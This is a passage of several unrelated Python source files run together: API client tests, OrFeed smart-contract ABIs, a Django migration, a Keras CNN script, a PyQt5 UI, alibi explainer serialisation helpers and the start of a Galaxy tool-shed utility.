restrictions.""" async with authenticated_local_client: authenticated_local_client.add( f"{TEST_HOST}:{TEST_PORT}", "/api/4/restrictions/global", "get", aresponses.Response( text=load_fixture("restrictions_global_response.json"), status=200 ), ) async with aiohttp.ClientSession() as session: client = Client(session=session) await client.load_local(TEST_HOST, TEST_PASSWORD, port=TEST_PORT, ssl=False) controller = next(iter(client.controllers.values())) data = await controller.restrictions.universal() assert data["freezeProtectTemp"] == 2 @pytest.mark.asyncio async def test_restrictions_hourly(aresponses, authenticated_local_client): """Test getting any hourly restrictions.""" async with authenticated_local_client: authenticated_local_client.add( f"{TEST_HOST}:{TEST_PORT}", "/api/4/restrictions/hourly", "get", aresponses.Response( text=load_fixture("restrictions_hourly_response.json"), status=200 ), ) async with aiohttp.ClientSession() as session: client = Client(session=session) await client.load_local(TEST_HOST, TEST_PASSWORD, port=TEST_PORT, ssl=False) controller = next(iter(client.controllers.values())) data = await controller.restrictions.hourly() assert not data @pytest.mark.asyncio async def test_restrictions_raindelay(aresponses, authenticated_local_client): """Test getting any rain delay-related restrictions.""" async with authenticated_local_client: authenticated_local_client.add( f"{TEST_HOST}:{TEST_PORT}", "/api/4/restrictions/raindelay", "get", aresponses.Response( text=load_fixture("restrictions_raindelay_response.json"), status=200 ), ) async with aiohttp.ClientSession() as session: client = Client(session=session) await client.load_local(TEST_HOST, TEST_PASSWORD, port=TEST_PORT, ssl=False) controller = next(iter(client.controllers.values())) data = await controller.restrictions.raindelay() assert data["delayCounter"] == -1 edd34/OrFeedexamples/python/oracle_arb_finder/core/smartcontracts.py import os from dotenv import load_dotenv load_dotenv() orfeed_contract_address_mainnet = "0x8316b082621cfedab95bf4a44a1d4b64a6ffc336" registry_contract_address_mainnet = "0x74b5CE2330389391cC61bF2287BDC9Ac73757891" aave_liquidity_provider = "0x3dfd23a6c5e8bbcfc9581d2e864a68feb6a076d3" registry_abi_mainnet = [ { "constant": False, "inputs": [ {"name": "name", "type": "string"}, {"name": "newOrSameOracleAddress", "type": "address"}, ], "name": "editOracleAddress", "outputs": [{"name": "", "type": "bool"}], "payable": True, "stateMutability": "payable", "type": "function", }, { "constant": True, "inputs": [ {"name": "selectedOracle", "type": "string"}, {"name": "fromParam", "type": "string"}, {"name": "toParam", "type": "string"}, {"name": "side", "type": "string"}, {"name": "amount", "type": "uint256"}, ], "name": "getPriceFromOracle", "outputs": [{"name": "", "type": "uint256"}], "payable": False, "stateMutability": "view", "type": "function", }, { "constant": False, "inputs": [], "name": "withdrawBalance", "outputs": [{"name": "", "type": "bool"}], "payable": False, "stateMutability": "nonpayable", "type": "function", }, { "constant": True, "inputs": [], "name": "getAllOracles", "outputs": [{"name": "", "type": "string[]"}], "payable": False, "stateMutability": "view", "type": "function", }, { "constant": False, "inputs": [{"name": "newFee", "type": "uint256"}], "name": "changeFee", "outputs": [{"name": "", "type": "bool"}], "payable": False, "stateMutability": "nonpayable", "type": "function", }, { "constant": False, "inputs": [ {"name": "name", "type": "string"}, {"name": "requestedAddress", "type": "address"}, {"name": "info", "type": "string"}, ], "name": "registerOracle", "outputs": [{"name": "", "type": "bool"}], "payable": True, "stateMutability": "payable", "type": "function", }, { "constant": True, "inputs": [{"name": "nameReference", "type": "string"}], "name": "getOracleInfo", "outputs": [{"name": "", "type": "string"}], "payable": False, "stateMutability": "view", "type": "function", }, { "constant": True, "inputs": [{"name": "nameReference", "type": "string"}], "name": "getOracleOwner", "outputs": [{"name": "", "type": "address"}], "payable": False, "stateMutability": "view", "type": "function", }, { "constant": False, "inputs": [ {"name": "name", "type": "string"}, {"name": "info", "type": "string"}, ], "name": "editOracleInfo", "outputs": [{"name": "", "type": "bool"}], "payable": True, "stateMutability": "payable", "type": "function", }, { "constant": False, "inputs": [{"name": "newOwner", "type": "address"}], "name": "changeOwner", "outputs": [{"name": "", "type": "bool"}], "payable": False, "stateMutability": "nonpayable", "type": "function", }, { "constant": True, "inputs": [{"name": "nameReference", "type": "string"}], "name": "getOracleAddress", "outputs": [{"name": "", "type": "address"}], "payable": False, "stateMutability": "view", "type": "function", }, { "constant": False, "inputs": [ {"name": "name", "type": "string"}, {"name": "toAddress", "type": "address"}, ], "name": "transferOracleName", "outputs": [{"name": "", "type": "bool"}], "payable": False, "stateMutability": "nonpayable", "type": "function", }, { "inputs": [], "payable": True, "stateMutability": "payable", "type": "constructor", }, ] orfeed_abi_mainnet = [ { "constant": False, "inputs": [ {"name": "symb", "type": "string"}, {"name": "tokenAddress", "type": "address"}, {"name": "byteCode", "type": "bytes32"}, ], "name": "addFreeCurrency", "outputs": [{"name": "", "type": "bool"}], "payable": False, "stateMutability": "nonpayable", "type": "function", }, { "constant": True, "inputs": [ {"name": "fromSymbol", "type": "string"}, {"name": "toSymbol", "type": "string"}, {"name": "venue", "type": "string"}, {"name": "amount", "type": "uint256"}, {"name": "referenceId", "type": "string"}, ], "name": "requestAsyncExchangeRateResult", "outputs": [{"name": "", "type": "uint256"}], "payable": False, "stateMutability": "view", "type": "function", }, { "constant": True, "inputs": [ {"name": "eventName", "type": "string"}, {"name": "source", "type": "string"}, {"name": "referenceId", "type": "string"}, ], "name": "getAsyncEventResult", "outputs": [{"name": "", "type": "string"}], "payable": False, "stateMutability": "view", "type": "function", }, { "constant": False, "inputs": [ {"name": "newDiv", "type": "uint256"}, {"name": "newMul", "type": "uint256"}, ], "name": "updateMulDivConverter2", "outputs": [{"name": "", "type": "bool"}], "payable": False, "stateMutability": "nonpayable", "type": "function", }, { "constant": False, "inputs": [ {"name": "synth", "type": "bytes32"}, {"name": "token", "type": "address"}, {"name": "inputAmount", "type": "uint256"}, ], "name": "getSynthToTokenOutputAmount", "outputs": [{"name": "", "type": "uint256"}], "payable": False, "stateMutability": "nonpayable", "type": "function", }, { "constant": False, "inputs": [ {"name": "symb", "type": "string"}, {"name": "tokenAddress", "type": "address"}, ], "name": "addFreeToken", "outputs": [{"name": "", "type": "bool"}], "payable": False, "stateMutability": "nonpayable", "type": "function", }, { "constant": False, "inputs": [{"name": "_a", "type": "string"}, {"name": "_b", "type": "string"}], "name": "compare", "outputs": [{"name": "", "type": "int256"}], "payable": False, "stateMutability": "nonpayable", "type": "function", }, { "constant": False, "inputs": [{"name": "newOracle", "type": "address"}], "name": "updateForexOracleAddress", "outputs": [{"name": "", "type": "bool"}], "payable": False, "stateMutability": "nonpayable", "type": "function", }, { "constant": False, "inputs": [{"name": "_a", "type": "string"}, {"name": "_b", "type": "string"}], "name": "equal", "outputs": [{"name": "", "type": "bool"}], "payable": False, "stateMutability": "nonpayable", "type": "function", }, { "constant": True, "inputs": [ {"name": "eventName", "type": "string"}, {"name": "source", "type": "string"}, ], "name": "getEventResult", "outputs": [{"name": "", "type": "string"}], "payable": False, "stateMutability": "view", "type": "function", }, { "constant": False, "inputs": [{"name": "newOracle", "type": "address"}], "name": "updateSynthAddress", "outputs": [{"name": "", "type": "bool"}], "payable": False, "stateMutability": "nonpayable", "type": "function", }, { "constant": False, "inputs": [ {"name": "newDiv", "type": "uint256"}, {"name": "newMul", "type": "uint256"}, ], "name": "updateMulDivConverter1", "outputs": [{"name": "", "type": "bool"}], "payable": False, "stateMutability": "nonpayable", "type": "function", }, { "constant": False, "inputs": [ {"name": "newDiv", "type": "uint256"}, {"name": "newMul", "type": "uint256"}, ], "name": "updateMulDivConverter3", "outputs": [{"name": "", "type": "bool"}], "payable": False, "stateMutability": "nonpayable", "type": "function", }, { "constant": True, "inputs": [ {"name": "fromSymbol", "type": "string"}, {"name": "toSymbol", "type": "string"}, {"name": "venue", "type": "string"}, {"name": "amount", "type": "uint256"}, ], "name": "getExchangeRate", "outputs": [{"name": "", "type": "uint256"}], "payable": False, "stateMutability": "view", "type": "function", }, { "constant": False, "inputs": [{"name": "symb", "type": "string"}], "name": "removeFreeToken", "outputs": [{"name": "", "type": "bool"}], "payable": False, "stateMutability": "nonpayable", "type": "function", }, { "constant": False, "inputs": [{"name": "newOracle", "type": "address"}], "name": "updateEthTokenAddress", "outputs": [{"name": "", "type": "bool"}], "payable": False, "stateMutability": "nonpayable", "type": "function", }, { "constant": False, "inputs": [ {"name": "fundsReturnToAddress", "type": "address"}, {"name": "liquidityProviderContractAddress", "type": "address"}, {"name": "tokens", "type": "string[]"}, {"name": "amount", "type": "uint256"}, {"name": "exchanges", "type": "string[]"}, ], "name": "arb", "outputs": [{"name": "", "type": "bool"}], "payable": True, "stateMutability": "payable", "type": "function", }, { "constant": False, "inputs": [{"name": "newOracle", "type": "address"}], "name": "updatePremiumSubOracleAddress", "outputs": [{"name": "", "type": "bool"}], "payable": False, "stateMutability": "nonpayable", "type": "function", }, { "constant": False, "inputs": [ {"name": "_haystack", "type": "string"}, {"name": "_needle", "type": "string"}, ], "name": "indexOf", "outputs": [{"name": "", "type": "int256"}], "payable": False, "stateMutability": "nonpayable", "type": "function", }, { "constant": False, "inputs": [{"name": "symb", "type": "string"}], "name": "removeFreeCurrency", "outputs": [{"name": "", "type": "bool"}], "payable": False, "stateMutability": "nonpayable", "type": "function", }, { "constant": False, "inputs": [{"name": "newOracle", "type": "address"}], "name": "updateAsyncOracleAddress", "outputs": [{"name": "", "type": "bool"}], "payable": False, "stateMutability": "nonpayable", "type": "function", }, { "constant": False, "inputs": [{"name": "venueToCheck", "type": "string"}], "name": "isFreeVenueCheck", "outputs": [{"name": "", "type": "bool"}], "payable": False, "stateMutability": "nonpayable", "type": "function", }, { "constant": False, "inputs": [{"name": "symToCheck", "type": "string"}], "name": "isFree", "outputs": [{"name": "", "type": "bool"}], "payable": False, "stateMutability": "nonpayable", "type": "function", }, { "constant": False, "inputs": [{"name": "newAddress", "type": "address"}], "name": "updateArbContractAddress", "outputs": [{"name": "", "type": "bool"}], "payable": False, "stateMutability": "nonpayable", "type": "function", }, { "constant": False, "inputs": [{"name": "newOwner", "type": "address"}], "name": "changeOwner", "outputs": [{"name": "", "type": "bool"}], "payable": False, "stateMutability": "nonpayable", "type": "function", }, { "constant": False, "inputs": [{"name": "newOracle", "type": "address"}], "name": "updateAsyncEventsAddress", "outputs": [{"name": "", "type": "bool"}], "payable": False, "stateMutability": "nonpayable", "type": "function", }, { "constant": True, "inputs": [{"name": "tokenAddress", "type": "address"}], "name": "getTokenDecimalCount", "outputs": [{"name": "", "type": "uint256"}], "payable": False, "stateMutability": "view", "type": "function", }, { "constant": True, "inputs": [{"name": "a", "type": "string"}, {"name": "b", "type": "string"}], "name": "compareStrings", "outputs": [{"name": "", "type": "bool"}], "payable": False, "stateMutability": "view", "type": "function", }, { "constant": False, "inputs": [ {"name": "eventName", "type": "string"}, {"name": "source", "type": "string"}, ], "name": "requestAsyncEvent", "outputs": [{"name": "", "type": "string"}], "payable": False, "stateMutability": "nonpayable", "type": "function", }, { "constant": True, "inputs": [{"name": "symbol", "type": "string"}], "name": "getTokenAddress", "outputs": [{"name": "", "type": "address"}], "payable": False, "stateMutability": "view", "type": "function", }, { "constant": False, "inputs": [ {"name": "token", "type": "address"}, {"name": "synth", "type": "bytes32"}, {"name": "inputAmount", "type": "uint256"}, ], "name": "getTokenToSynthOutputAmount", "outputs": [{"name": "", "type": "uint256"}], "payable": False, "stateMutability": "nonpayable", "type": "function", }, { "constant": False, "inputs": [{"name": "source", "type": "string"}], "name": "stringToBytes32", "outputs": [{"name": "result", "type": "bytes32"}], "payable": False, "stateMutability": "nonpayable", "type": "function", }, { "constant": False, "inputs": [ {"name": "fromSymbol", "type": "string"}, {"name": "toSymbol", "type": "string"}, {"name": "venue", "type": "string"}, {"name": "amount", "type": "uint256"}, ], "name": "requestAsyncExchangeRate", "outputs": [{"name": "", "type": "string"}], "payable": False, "stateMutability": "nonpayable", "type": "function", }, { "constant": False, "inputs": [{"name": "newOracle", "type": "address"}], "name": "updateTokenOracleAddress2", "outputs": [{"name": "", "type": "bool"}], "payable": False, "stateMutability": "nonpayable", "type": "function", }, { "constant": False, "inputs": [{"name": "newOracle", "type": "address"}], "name": "updateSyncEventsAddress", "outputs": [{"name": "", "type": "bool"}], "payable": False, "stateMutability": "nonpayable", "type": "function", }, { "constant": True, "inputs": [{"name": "symbol", "type": "string"}], "name": "getSynthBytes32", "outputs": [{"name": "", "type": "bytes32"}], "payable": False, "stateMutability": "view", "type": "function", }, { "constant": False, "inputs": [ {"name": "fromSymb", "type": "string"}, {"name": "toSymb", "type": "string"}, {"name": "amount", "type": "uint256"}, ], "name": "getFreeExchangeRate", "outputs": [{"name": "", "type": "uint256"}], "payable": False, "stateMutability": "nonpayable", "type": "function", }, { "constant": False, "inputs": [{"name": "newOracle", "type": "address"}], "name": "updateTokenOracleAddress", "outputs": [{"name": "", "type": "bool"}], "payable": False, "stateMutability": "nonpayable", "type": "function", }, { "constant": False, "inputs": [ {"name": "newDiv", "type": "uint256"}, {"name": "newMul", "type": "uint256"}, ], "name": "updateMulDivConverter4", "outputs": [{"name": "", "type": "bool"}], "payable": False, "stateMutability": "nonpayable", "type": "function", }, { "constant": True, "inputs": [{"name": "symbol", "type": "string"}], "name": "getForexAddress", "outputs": [{"name": "", "type": "address"}], "payable": False, "stateMutability": "view", "type": "function", }, { "constant": False, "inputs": [ {"name": "param1", "type": "string"}, {"name": "param2", "type": "string"}, {"name": "param3", "type": "string"}, {"name": "param4", "type": "string"}, ], "name": "callExtraFunction", "outputs": [{"name": "", "type": "string"}], "payable": False, "stateMutability": "nonpayable", "type": "function", }, { "inputs": [], "payable": True, "stateMutability": "payable", "type": "constructor", }, {"payable": True, "stateMutability": "payable", "type": "fallback"}, ] my_smartcontracts = {} if os.getenv("NETWORK") == "mainnet": my_smartcontracts["orfeed"] = { "address": orfeed_contract_address_mainnet, "abi": orfeed_abi_mainnet, } my_smartcontracts["registry"] = { "address": registry_contract_address_mainnet, "abi": registry_abi_mainnet, } # Generated by Django 2.0.4 on 2019-06-11 19:12 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('bidding', '0016_cycleposition_posted_date'), ] operations = [ migrations.AlterField( model_name='cycleposition', name='posted_date', field=models.DateTimeField(help_text='The posted date for the cycle positon', null=True), ), ] 0 import numpy as np np.random.seed(1337) from keras.models import Sequential from keras.layers.core import Dense, Dropout, Activation, Flatten from keras.layers.convolutional import Convolution2D, MaxPooling2D from utils import * from sklearn.cross_validation import train_test_split # in progress # TODO # add prints and logging # split code into appropriate methods # create an online tool to test the data using real-time images # refer to the read me for more information # read me and dataset from Department of Computer Science from UTA batch_size = 16 nb_epoch = 10 img_rows, img_cols = 32, 32 nb_filters = 48 nb_pool = 2 nb_conv = 3 X, y = load() X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=1337) model = Sequential() model.add(Convolution2D(nb_filters, nb_conv, nb_conv, border_mode='valid', input_shape=(3, img_rows, img_cols))) model.add(Activation('relu')) model.add(Convolution2D(nb_filters, nb_conv, nb_conv)) model.add(Activation('relu')) model.add(MaxPooling2D(pool_size=(nb_pool, nb_pool))) model.add(Dropout(0.25)) model.add(Flatten()) model.add(Dense(32)) model.add(Activation('relu')) model.add(Dropout(0.5)) model.add(Dense(1)) model.compile(loss='mse', optimizer='adadelta') model.fit(X_train, y_train, batch_size=batch_size, nb_epoch=nb_epoch, show_accuracy=False, verbose=1, validation_data=(X_test, y_test)) score = model.evaluate(X_test, y_test, show_accuracy=True, verbose=0) print('Test score:', score[0]) objects/CSCG/_3d/forms/standard/_3s/visualize/main.py from objects.CSCG._3d.forms.standard.base.visualize.main import _3dCSCG_FormVisualize from objects.CSCG._3d.forms.standard._3s.visualize.matplot import _3dCSCG_S3F_VISUALIZE_Matplot class _3dCSCG_S3F_VISUALIZE(_3dCSCG_FormVisualize): """""" def __init__(self, sf): """""" super(_3dCSCG_S3F_VISUALIZE, self).__init__(sf) self._sf_ = sf self._matplot_ = None self._freeze_self_() def __call__(self, *args, **kwargs): return self.matplot(*args, **kwargs) @property def matplot(self): if self._matplot_ is None: self._matplot_ = _3dCSCG_S3F_VISUALIZE_Matplot(self._sf_) return self._matplot_ProfJust/Ruhr-TurtleBot-Competition-RTC-0 # -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'pyqt_sw06_qtcreator.ui' # # Created by: PyQt5 UI code generator 5.10.1 # # WARNING! All changes made in this file will be lost! from PyQt5 import QtCore, QtGui, QtWidgets class Ui_MainWindow(object): def setupUi(self, MainWindow): MainWindow.setObjectName("MainWindow") MainWindow.resize(400, 266) self.centralWidget = QtWidgets.QWidget(MainWindow) self.centralWidget.setObjectName("centralWidget") self.pushButton1 = QtWidgets.QPushButton(self.centralWidget) self.pushButton1.setGeometry(QtCore.QRect(50, 30, 141, 27)) self.pushButton1.setObjectName("pushButton1") self.label = QtWidgets.QLabel(self.centralWidget) self.label.setGeometry(QtCore.QRect(110, 130, 271, 20)) self.label.setObjectName("label") MainWindow.setCentralWidget(self.centralWidget) self.menuBar = QtWidgets.QMenuBar(MainWindow) self.menuBar.setGeometry(QtCore.QRect(0, 0, 400, 22)) self.menuBar.setObjectName("menuBar") MainWindow.setMenuBar(self.menuBar) self.mainToolBar = QtWidgets.QToolBar(MainWindow) self.mainToolBar.setObjectName("mainToolBar") MainWindow.addToolBar(QtCore.Qt.TopToolBarArea, self.mainToolBar) self.statusBar = QtWidgets.QStatusBar(MainWindow) self.statusBar.setObjectName("statusBar") MainWindow.setStatusBar(self.statusBar) self.retranslateUi(MainWindow) self.pushButton1.clicked.connect(self.label.clear) QtCore.QMetaObject.connectSlotsByName(MainWindow) def retranslateUi(self, MainWindow): _translate = QtCore.QCoreApplication.translate MainWindow.setWindowTitle(_translate("MainWindow", "MainWindow")) self.pushButton1.setText(_translate("MainWindow", "Guten Morgen!")) self.label.setText(_translate("MainWindow", "F4 drücken für Signal Slot Verbindung")) if __name__ == "__main__": import sys app = QtWidgets.QApplication(sys.argv) MainWindow = QtWidgets.QMainWindow() ui = Ui_MainWindow() ui.setupUi(MainWindow) MainWindow.show() sys.exit(app.exec_()) mauicv/alibi import copy import json import os from pathlib import Path import sys from typing import Callable, TYPE_CHECKING, Union import warnings import dill import numpy as np if TYPE_CHECKING: import tensorflow from alibi.api.interfaces import Explainer from alibi.explainers.integrated_gradients import IntegratedGradients from alibi.explainers.shap_wrappers import KernelShap, TreeShap from alibi.explainers import ( AnchorImage, AnchorText, CounterfactualRL, CounterfactualRLTabular ) from alibi.version import __version__ # do not extend pickle dispatch table so as not to change pickle behaviour dill.extend(use_dill=False) thismodule = sys.modules[__name__] NOT_SUPPORTED = ["DistributedAnchorTabular", "CEM", "Counterfactual", "CounterfactualProto"] def load_explainer(path: Union[str, os.PathLike], predictor) -> 'Explainer': """ Load an explainer from disk. Parameters ---------- path Path to a directory containing the saved explainer. predictor Model or prediction function used to originally initialize the explainer. Returns ------- An explainer instance. """ # load metadata with open(Path(path, 'meta.dill'), 'rb') as f: meta = dill.load(f) # check version if meta['version'] != __version__: warnings.warn(f'Trying to load explainer from version {meta["version"]} when using version {__version__}. ' f'This may lead to breaking code or invalid results.') name = meta['name'] try: # get the explainer specific load function load_fn = getattr(thismodule, '_load_' + name) except AttributeError: load_fn = _simple_load return load_fn(path, predictor, meta) def save_explainer(explainer: 'Explainer', path: Union[str, os.PathLike]) -> None: """ Save an explainer to disk. Uses the `dill` module. Parameters ---------- explainer Explainer instance to save to disk. path Path to a directory. A new directory will be created if one does not exist. """ name = explainer.meta['name'] if name in NOT_SUPPORTED: raise NotImplementedError(f'Saving for {name} not yet supported') path = Path(path) # create directory path.mkdir(parents=True, exist_ok=True) # save metadata meta = copy.deepcopy(explainer.meta) with open(Path(path, 'meta.dill'), 'wb') as f: dill.dump(meta, f) try: # get explainer specific save function save_fn = getattr(thismodule, '_save_' + name) except AttributeError: # no explainer specific functionality required, just set predictor to `None` and dump save_fn = _simple_save save_fn(explainer, path) def _simple_save(explainer: 'Explainer', path: Union[str, os.PathLike]) -> None: predictor = explainer.predictor # type: ignore[attr-defined] # TODO: declare this in the Explainer interface explainer.predictor = None # type: ignore[attr-defined] with open(Path(path, 'explainer.dill'), 'wb') as f: dill.dump(explainer, f, recurse=True) explainer.predictor = predictor # type: ignore[attr-defined] def _simple_load(path: Union[str, os.PathLike], predictor, meta) -> 'Explainer': with open(Path(path, 'explainer.dill'), 'rb') as f: explainer = dill.load(f) explainer.reset_predictor(predictor) return explainer def _load_IntegratedGradients(path: Union[str, os.PathLike], predictor: 'Union[tensorflow.keras.Model]', meta: dict) -> 'IntegratedGradients': layer_num = meta['params']['layer'] if layer_num == 0: layer = None else: layer = predictor.layers[layer_num] with open(Path(path, 'explainer.dill'), 'rb') as f: explainer = dill.load(f) explainer.reset_predictor(predictor) explainer.layer = layer return explainer def _save_IntegratedGradients(explainer: 'IntegratedGradients', path: Union[str, os.PathLike]) -> None: model = explainer.model layer = explainer.layer explainer.model = explainer.layer = None with open(Path(path, 'explainer.dill'), 'wb') as f: dill.dump(explainer, f, recurse=True) explainer.model = model explainer.layer = layer def _load_AnchorImage(path: Union[str, os.PathLike], predictor: Callable, meta: dict) -> 'AnchorImage': # segmentation function with open(Path(path, 'segmentation_fn.dill'), 'rb') as f: segmentation_fn = dill.load(f) with open(Path(path, 'explainer.dill'), 'rb') as f: explainer = dill.load(f) explainer.segmentation_fn = segmentation_fn explainer.reset_predictor(predictor) return explainer def _save_AnchorImage(explainer: 'AnchorImage', path: Union[str, os.PathLike]) -> None: # save the segmentation function separately (could be user-supplied or built-in), must be picklable segmentation_fn = explainer.segmentation_fn explainer.segmentation_fn = None with open(Path(path, 'segmentation_fn.dill'), 'wb') as f: dill.dump(segmentation_fn, f, recurse=True) predictor = explainer.predictor explainer.predictor = None # type: ignore[assignment] with open(Path(path, 'explainer.dill'), 'wb') as f: dill.dump(explainer, f, recurse=True) explainer.segmentation_fn = segmentation_fn explainer.predictor = predictor def _load_AnchorText(path: Union[str, os.PathLike], predictor: Callable, meta: dict) -> 'AnchorText': from alibi.explainers import AnchorText # load explainer with open(Path(path, 'explainer.dill'), 'rb') as f: explainer = dill.load(f) perturb_opts = explainer.perturb_opts sampling_strategy = explainer.sampling_strategy nlp_sampling = [AnchorText.SAMPLING_UNKNOWN, AnchorText.SAMPLING_SIMILARITY] if sampling_strategy in nlp_sampling: # load the spacy model import spacy model = spacy.load(Path(path, 'nlp')) else: # load language model import alibi.utils as lang_model model_class = explainer.model_class model = getattr(lang_model, model_class)(preloading=False) model.from_disk(Path(path, 'language_model')) # construct perturbation perturbation = AnchorText.CLASS_SAMPLER[sampling_strategy](model, perturb_opts) # set model, predictor, perturbation explainer.model = model explainer.reset_predictor(predictor) explainer.perturbation = perturbation return explainer def _save_AnchorText(explainer: 'AnchorText', path: Union[str, os.PathLike]) -> None: from alibi.explainers import AnchorText model = explainer.model predictor = explainer.predictor perturbation = explainer.perturbation sampling_strategy = explainer.sampling_strategy nlp_sampling = [AnchorText.SAMPLING_UNKNOWN, AnchorText.SAMPLING_SIMILARITY] dir_name = 'nlp' if sampling_strategy in nlp_sampling else 'language_model' model.to_disk(Path(path, dir_name)) explainer.model = None # type: ignore[assignment] explainer.predictor = None # type: ignore[assignment] explainer.perturbation = None with open(Path(path, 'explainer.dill'), 'wb') as f: dill.dump(explainer, f, recurse=True) explainer.model = model explainer.predictor = predictor explainer.perturbation = perturbation def _save_KernelShap(explainer: 'KernelShap', path: Union[str, os.PathLike]) -> None: # TODO: save internal shap objects using native pickle? _simple_save(explainer, path) def _save_TreelShap(explainer: 'TreeShap', path: Union[str, os.PathLike]) -> None: # TODO: save internal shap objects using native pickle? _simple_save(explainer, path) def _save_CounterfactualRL(explainer: 'CounterfactualRL', path: Union[str, os.PathLike]) -> None: from alibi.utils.frameworks import Framework from alibi.explainers import CounterfactualRL CounterfactualRL._verify_backend(explainer.params["backend"]) # get backend module backend = explainer.backend # define extension ext = ".tf" if explainer.params["backend"] == Framework.TENSORFLOW else ".pth" # save encoder and decoder (autoencoder components) encoder = explainer.params["encoder"] decoder = explainer.params["decoder"] backend.save_model(path=Path(path, "encoder" + ext), model=explainer.params["encoder"]) backend.save_model(path=Path(path, "decoder" + ext), model=explainer.params["decoder"]) # save actor actor = explainer.params["actor"] optimizer_actor = explainer.params["optimizer_actor"] # TODO: save the actor optimizer? backend.save_model(path=Path(path, "actor" + ext), model=explainer.params["actor"]) # save critic critic = explainer.params["critic"] optimizer_critic = explainer.params["optimizer_critic"] # TODO: save the critic optimizer? backend.save_model(path=Path(path, "critic" + ext), model=explainer.params["critic"]) # save locally prediction function predictor = explainer.params["predictor"] # save callbacks callbacks = explainer.params["callbacks"] # TODO: what to do with the callbacks? # set encoder, decoder, actor, critic, prediction_func, and backend to `None` explainer.params["encoder"] = None explainer.params["decoder"] = None explainer.params["actor"] = None explainer.params["critic"] = None explainer.params["optimizer_actor"] = None explainer.params["optimizer_critic"] = None explainer.params["predictor"] = None explainer.params["callbacks"] = None explainer.backend = None # Save explainer. All the pre/post-processing function will be saved in the explainer. # TODO: find a better way? (I think this is ok if the functions are not too complex) with open(Path(path, "explainer.dill"), 'wb') as f: dill.dump(explainer, f) # set back encoder, decoder, actor and critic back explainer.params["encoder"] = encoder explainer.params["decoder"] = decoder explainer.params["actor"] = actor explainer.params["critic"] = critic explainer.params["optimizer_actor"] = optimizer_actor explainer.params["optimizer_critic"] = optimizer_critic explainer.params["predictor"] = predictor explainer.params["callbacks"] = callbacks explainer.backend = backend def _helper_load_CounterfactualRL(path: Union[str, os.PathLike], predictor: Callable, explainer): # define extension from alibi.utils.frameworks import Framework ext = ".tf" if explainer.params["backend"] == Framework.TENSORFLOW else ".pth" # load the encoder and decoder (autoencoder components) explainer.params["encoder"] = explainer.backend.load_model(Path(path, "encoder" + ext)) explainer.params["decoder"] = explainer.backend.load_model(Path(path, "decoder" + ext)) # load the actor and critic explainer.params["actor"] = explainer.backend.load_model(Path(path, "actor" + ext)) explainer.params["critic"] = explainer.backend.load_model(Path(path, "critic" + ext)) # reset predictor explainer.reset_predictor(predictor) return explainer def _load_CounterfactualRL(path: Union[str, os.PathLike], predictor: Callable, meta: dict) -> 'CounterfactualRL': # load explainer with open(Path(path, "explainer.dill"), "rb") as f: explainer = dill.load(f) # load backend from alibi.utils.frameworks import Framework from alibi.explainers import CounterfactualRL CounterfactualRL._verify_backend(explainer.params["backend"]) # select backend module if explainer.params["backend"] == Framework.TENSORFLOW: import alibi.explainers.backends.tensorflow.cfrl_base as backend else: import alibi.explainers.backends.pytorch.cfrl_base as backend # type: ignore # set explainer backend explainer.backend = backend # load the rest of the explainer return _helper_load_CounterfactualRL(path, predictor, explainer) def _save_CounterfactualRLTabular(explainer: 'CounterfactualRL', path: Union[str, os.PathLike]) -> None: _save_CounterfactualRL(explainer=explainer, path=path) def _load_CounterfactualRLTabular(path: Union[str, os.PathLike], predictor: Callable, meta: dict) -> 'CounterfactualRLTabular': # load explainer with open(Path(path, "explainer.dill"), "rb") as f: explainer = dill.load(f) # load backend from alibi.utils.frameworks import Framework from alibi.explainers import CounterfactualRL CounterfactualRL._verify_backend(explainer.params["backend"]) # select backend module if explainer.params["backend"] == Framework.TENSORFLOW: import alibi.explainers.backends.tensorflow.cfrl_tabular as backend else: import alibi.explainers.backends.pytorch.cfrl_tabular as backend # type: ignore # set explainer backend explainer.backend = backend # load the rest of the explainer return _helper_load_CounterfactualRL(path, predictor, explainer) class NumpyEncoder(json.JSONEncoder): def default(self, obj): if isinstance( obj, ( np.int_, np.intc, np.intp, np.int8, np.int16, np.int32, np.int64, np.uint8, np.uint16, np.uint32, np.uint64, ), ): return int(obj) elif isinstance(obj, (np.float_, np.float16, np.float32, np.float64)): return float(obj) elif isinstance(obj, (np.ndarray,)): return obj.tolist() return json.JSONEncoder.default(self, obj) import logging import os import shutil import tempfile import threading from galaxy import tools from galaxy.util import asbool from galaxy.util import json from galaxy import util from galaxy import web from galaxy.model.orm import or_ from galaxy.webapps.tool_shed.util import container_util import tool_shed.util.shed_util_common as suc from tool_shed.util import common_util from tool_shed.util import common_install_util from tool_shed.util import data_manager_util from tool_shed.util import datatype_util from tool_shed.util import encoding_util from tool_shed.util import repository_dependency_util from tool_shed.util import metadata_util from tool_shed.util import tool_dependency_util from tool_shed.util import tool_util from xml.etree import ElementTree as XmlET from galaxy import eggs import pkg_resources pkg_resources.require( 'mercurial' ) from mercurial import commands from mercurial import hg from mercurial import ui log = logging.getLogger( __name__ ) def create_repo_info_dict( trans, repository_clone_url, changeset_revision, ctx_rev, repository_owner, repository_name=None, repository=None, repository_metadata=None, tool_dependencies=None, repository_dependencies=None ): """ Return a dictionary that includes all of the information needed to install a repository into a local Galaxy instance. The dictionary will also contain the recursive list of repository dependencies defined for the repository, as well as the defined tool dependencies. This method is called from Galaxy under three scenarios: 1. During the tool shed repository installation process via the tool shed's get_repository_information() method. In this case both the received repository and repository_metadata will be objects., but tool_dependencies and repository_dependencies will be None 2. When a tool shed repository that was uninstalled from a Galaxy instance is being reinstalled with no updates available. In this case, both repository and repository_metadata will be None, but tool_dependencies and repository_dependencies will be objects previously retrieved from the tool shed if the repository includes definitions for them. 3. When a tool shed repository that was uninstalled from a Galaxy instance is being reinstalled with updates available. In this case, this method is reached via the tool shed's get_updated_repository_information() method, and both repository and repository_metadata will be objects but tool_dependencies and repository_dependencies will be None. """ repo_info_dict = {} repository = suc.get_repository_by_name_and_owner( trans.app, repository_name, repository_owner ) if trans.webapp.name == 'tool_shed': # We're in the tool shed. repository_metadata = suc.get_repository_metadata_by_changeset_revision( trans, trans.security.encode_id( repository.id ), changeset_revision ) if repository_metadata: metadata = repository_metadata.metadata if metadata: # Get a dictionary of all repositories upon which the contents of the received repository depends. repository_dependencies = \ repository_dependency_util.get_repository_dependencies_for_changeset_revision( trans=trans, repository=repository, repository_metadata=repository_metadata, 